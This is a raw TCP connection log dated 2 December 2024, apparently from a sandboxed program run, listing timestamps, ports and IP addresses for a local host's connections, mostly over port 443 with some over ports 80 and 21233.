Dec 2, 2024 04:59:00.039879084 CET	49871	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:00.039895058 CET	49871	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:00.039901972 CET	443	49871	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:00.039911985 CET	49871	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:00.039915085 CET	443	49871	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:00.041743040 CET	49877	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:00.041763067 CET	443	49877	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:00.041825056 CET	49877	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:00.041929007 CET	49877	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:00.041940928 CET	443	49877	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:00.453892946 CET	80	49757	112.34.113.148	192.168.2.4
Dec 2, 2024 04:59:00.453944921 CET	49757	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:59:00.636091948 CET	21233	49756	163.171.142.154	192.168.2.4
Dec 2, 2024 04:59:00.636104107 CET	21233	49756	163.171.142.154	192.168.2.4
Dec 2, 2024 04:59:00.636168957 CET	49756	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:59:00.952239037 CET	443	49872	142.250.181.100	192.168.2.4
Dec 2, 2024 04:59:00.952531099 CET	49872	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:59:00.952547073 CET	443	49872	142.250.181.100	192.168.2.4
Dec 2, 2024 04:59:00.952883959 CET	443	49872	142.250.181.100	192.168.2.4
Dec 2, 2024 04:59:00.953289986 CET	49872	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:59:00.953366995 CET	443	49872	142.250.181.100	192.168.2.4
Dec 2, 2024 04:59:00.996906042 CET	49872	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:59:01.108321905 CET	49761	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:59:01.108345985 CET	49757	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:59:01.108386993 CET	49756	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:59:01.108413935 CET	49756	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:59:01.228310108 CET	80	49757	112.34.113.148	192.168.2.4
Dec 2, 2024 04:59:01.228323936 CET	21233	49756	163.171.142.154	192.168.2.4
Dec 2, 2024 04:59:01.228517056 CET	49756	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:59:01.228588104 CET	80	49761	112.34.113.148	192.168.2.4
Dec 2, 2024 04:59:01.228648901 CET	49761	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:59:01.261943102 CET	443	49873	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.262556076 CET	49873	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.262578964 CET	443	49873	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.263153076 CET	49873	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.263159037 CET	443	49873	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.427570105 CET	443	49874	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.427906036 CET	49874	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.427927017 CET	443	49874	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.428256989 CET	49874	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.428272009 CET	443	49874	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.464210033 CET	443	49875	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.464539051 CET	49875	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.464555979 CET	443	49875	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.464869976 CET	49875	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.464874029 CET	443	49875	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.706592083 CET	443	49873	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.706650019 CET	443	49873	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.706748962 CET	49873	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.706957102 CET	49873	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.706974983 CET	443	49873	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.706985950 CET	49873	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.706990957 CET	443	49873	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.709292889 CET	49878	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.709321976 CET	443	49878	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.709399939 CET	49878	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.709507942 CET	49878	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.709521055 CET	443	49878	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.744116068 CET	443	49876	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.744478941 CET	49876	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.744496107 CET	443	49876	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.744868040 CET	49876	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.744873047 CET	443	49876	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.881136894 CET	443	49874	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.881200075 CET	443	49874	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.881263018 CET	49874	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.881437063 CET	49874	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.881444931 CET	443	49874	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.881455898 CET	49874	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.881459951 CET	443	49874	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.884341955 CET	49879	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.884380102 CET	443	49879	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.884453058 CET	49879	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.884624004 CET	49879	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.884635925 CET	443	49879	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.885857105 CET	443	49877	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.886198044 CET	49877	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.886204958 CET	443	49877	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.886629105 CET	49877	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.886632919 CET	443	49877	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.909457922 CET	443	49875	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.909504890 CET	443	49875	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.909547091 CET	49875	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.909670115 CET	49875	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.909681082 CET	443	49875	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.909688950 CET	49875	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.909692049 CET	443	49875	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.911648035 CET	49880	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.911672115 CET	443	49880	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:01.911741972 CET	49880	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.911869049 CET	49880	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:01.911881924 CET	443	49880	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:02.179585934 CET	443	49876	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:02.179645061 CET	443	49876	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:02.179696083 CET	49876	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:02.179936886 CET	49876	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:02.179950953 CET	443	49876	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:02.179960012 CET	49876	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:02.179965019 CET	443	49876	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:02.182734966 CET	49881	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:02.182761908 CET	443	49881	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:02.182837009 CET	49881	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:02.183013916 CET	49881	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:02.183024883 CET	443	49881	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:02.338860035 CET	443	49877	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:02.338926077 CET	443	49877	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:02.339044094 CET	49877	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:02.339261055 CET	49877	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:02.339273930 CET	443	49877	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:02.339283943 CET	49877	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:02.339289904 CET	443	49877	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:02.342032909 CET	49882	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:02.342056990 CET	443	49882	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:02.342118025 CET	49882	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:02.342273951 CET	49882	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:02.342284918 CET	443	49882	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:02.372427940 CET	80	49745	38.31.228.123	192.168.2.4
Dec 2, 2024 04:59:02.372633934 CET	49745	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:59:02.383732080 CET	80	49760	112.34.113.148	192.168.2.4
Dec 2, 2024 04:59:02.383801937 CET	49760	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:59:02.415661097 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:59:02.415769100 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:59:02.415810108 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:59:02.415853024 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:59:02.415894985 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:59:02.416042089 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:59:02.535867929 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:59:03.108393908 CET	49770	80	192.168.2.4	180.101.212.103
Dec 2, 2024 04:59:03.108460903 CET	49760	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:59:03.108515978 CET	49745	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:59:03.228458881 CET	80	49760	112.34.113.148	192.168.2.4
Dec 2, 2024 04:59:03.228482008 CET	80	49745	38.31.228.123	192.168.2.4
Dec 2, 2024 04:59:03.228800058 CET	80	49770	180.101.212.103	192.168.2.4
Dec 2, 2024 04:59:03.228876114 CET	49770	80	192.168.2.4	180.101.212.103
Dec 2, 2024 04:59:03.489412069 CET	443	49878	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:03.490096092 CET	49878	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:03.490109921 CET	443	49878	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:03.490578890 CET	49878	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:03.490583897 CET	443	49878	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:03.665096045 CET	443	49879	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:03.665911913 CET	49879	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:03.665934086 CET	443	49879	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:03.666357994 CET	49879	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:03.666362047 CET	443	49879	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:03.690865993 CET	443	49880	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:03.691690922 CET	49880	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:03.691708088 CET	443	49880	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:03.692097902 CET	49880	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:03.692104101 CET	443	49880	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:03.926745892 CET	80	49749	38.31.228.123	192.168.2.4
Dec 2, 2024 04:59:03.926848888 CET	49749	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:59:03.933748960 CET	443	49878	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:03.933804035 CET	443	49878	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:03.933928013 CET	49878	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:03.934205055 CET	49878	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:03.934216022 CET	443	49878	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:03.934226036 CET	49878	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:03.934231043 CET	443	49878	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:03.937222958 CET	49883	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:03.937248945 CET	443	49883	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:03.937338114 CET	49883	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:03.937531948 CET	49883	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:03.937545061 CET	443	49883	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:03.962671995 CET	443	49881	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:03.963088036 CET	49881	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:03.963099003 CET	443	49881	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:03.963463068 CET	49881	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:03.963465929 CET	443	49881	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.116015911 CET	443	49879	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.116076946 CET	443	49879	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.116137981 CET	49879	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.116358042 CET	49879	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.116372108 CET	443	49879	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.116380930 CET	49879	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.116385937 CET	443	49879	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.119371891 CET	49884	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.119400024 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.119499922 CET	49884	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.119733095 CET	49884	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.119745970 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.124449015 CET	443	49882	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.124824047 CET	49882	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.124840975 CET	443	49882	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.125395060 CET	49882	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.125399113 CET	443	49882	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.135128021 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:59:04.135333061 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:59:04.135735989 CET	443	49880	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.135739088 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:59:04.135786057 CET	443	49880	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.135792017 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:59:04.135835886 CET	49880	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.135977983 CET	49880	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.135988951 CET	443	49880	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.135998011 CET	49880	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.136002064 CET	443	49880	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.136246920 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:59:04.136292934 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:59:04.138284922 CET	49885	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.138314009 CET	443	49885	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.138382912 CET	49885	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.138537884 CET	49885	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.138550997 CET	443	49885	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.255206108 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:59:04.255306959 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:59:04.406981945 CET	443	49881	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.407043934 CET	443	49881	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.407095909 CET	49881	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.407460928 CET	49881	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.407473087 CET	443	49881	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.407481909 CET	49881	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.407486916 CET	443	49881	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.410459995 CET	49886	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.410474062 CET	443	49886	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.410557032 CET	49886	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.410743952 CET	49886	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.410753965 CET	443	49886	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.808289051 CET	443	49882	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.808346987 CET	443	49882	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.808409929 CET	49882	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.808617115 CET	49882	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.808626890 CET	443	49882	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.808641911 CET	49882	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.808645964 CET	443	49882	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.811691999 CET	49887	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.811711073 CET	443	49887	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:04.811800003 CET	49887	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.811908007 CET	49887	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:04.811917067 CET	443	49887	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:05.108124971 CET	49749	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:59:05.227979898 CET	80	49749	38.31.228.123	192.168.2.4
Dec 2, 2024 04:59:05.718050003 CET	443	49883	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:05.718600035 CET	49883	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:05.718611956 CET	443	49883	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:05.719026089 CET	49883	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:05.719031096 CET	443	49883	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:05.919001102 CET	443	49885	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:05.919579029 CET	49885	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:05.919599056 CET	443	49885	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:05.919994116 CET	49885	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:05.920000076 CET	443	49885	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:05.963782072 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:05.964157104 CET	49884	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:05.964174032 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:05.964514971 CET	49884	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:05.964520931 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.169008017 CET	443	49883	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.169066906 CET	443	49883	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.169121981 CET	49883	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.173229933 CET	49883	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.173242092 CET	443	49883	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.173253059 CET	49883	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.173258066 CET	443	49883	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.176227093 CET	49888	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.176248074 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.176314116 CET	49888	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.176609039 CET	49888	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.176615953 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.363904953 CET	443	49885	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.363964081 CET	443	49885	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.364023924 CET	49885	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.364289999 CET	49885	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.364298105 CET	443	49885	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.364310026 CET	49885	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.364314079 CET	443	49885	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.367408037 CET	49889	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.367434025 CET	443	49889	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.367528915 CET	49889	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.367722988 CET	49889	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.367734909 CET	443	49889	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.411655903 CET	443	49886	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.412164927 CET	49886	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.412178993 CET	443	49886	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.412606001 CET	49886	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.412611008 CET	443	49886	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.419164896 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.419223070 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.419279099 CET	49884	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.419430017 CET	49884	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.419430017 CET	49884	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.419441938 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.419450045 CET	443	49884	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.422066927 CET	49890	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.422091007 CET	443	49890	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.422184944 CET	49890	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.422355890 CET	49890	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.422367096 CET	443	49890	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.529154062 CET	443	49887	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.529714108 CET	49887	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.529730082 CET	443	49887	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.530091047 CET	49887	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.530095100 CET	443	49887	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.939610958 CET	443	49886	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.939696074 CET	443	49886	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.939754963 CET	49886	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.939961910 CET	49886	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.939971924 CET	443	49886	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.939982891 CET	49886	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.939986944 CET	443	49886	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.943000078 CET	49891	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.943025112 CET	443	49891	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.943108082 CET	49891	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.943331003 CET	49891	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.943342924 CET	443	49891	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.974467993 CET	443	49887	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.974539042 CET	443	49887	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.974626064 CET	49887	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.974843025 CET	49887	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.974848986 CET	443	49887	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.974859953 CET	49887	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.974864006 CET	443	49887	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.977194071 CET	49892	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.977221012 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:06.977308035 CET	49892	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.977474928 CET	49892	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:06.977488041 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.019467115 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.019973993 CET	49888	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.019985914 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.020895004 CET	49888	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.020899057 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.144332886 CET	443	49890	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.144916058 CET	49890	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.144927025 CET	443	49890	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.145390034 CET	49890	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.145395041 CET	443	49890	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.214410067 CET	443	49889	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.214740038 CET	49889	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.214751959 CET	443	49889	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.215095997 CET	49889	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.215100050 CET	443	49889	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.472831011 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.472886086 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.472986937 CET	49888	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.473176956 CET	49888	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.473186970 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.473197937 CET	49888	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.473201990 CET	443	49888	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.475862980 CET	49893	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.475904942 CET	443	49893	13.107.246.63	192.168.2.4
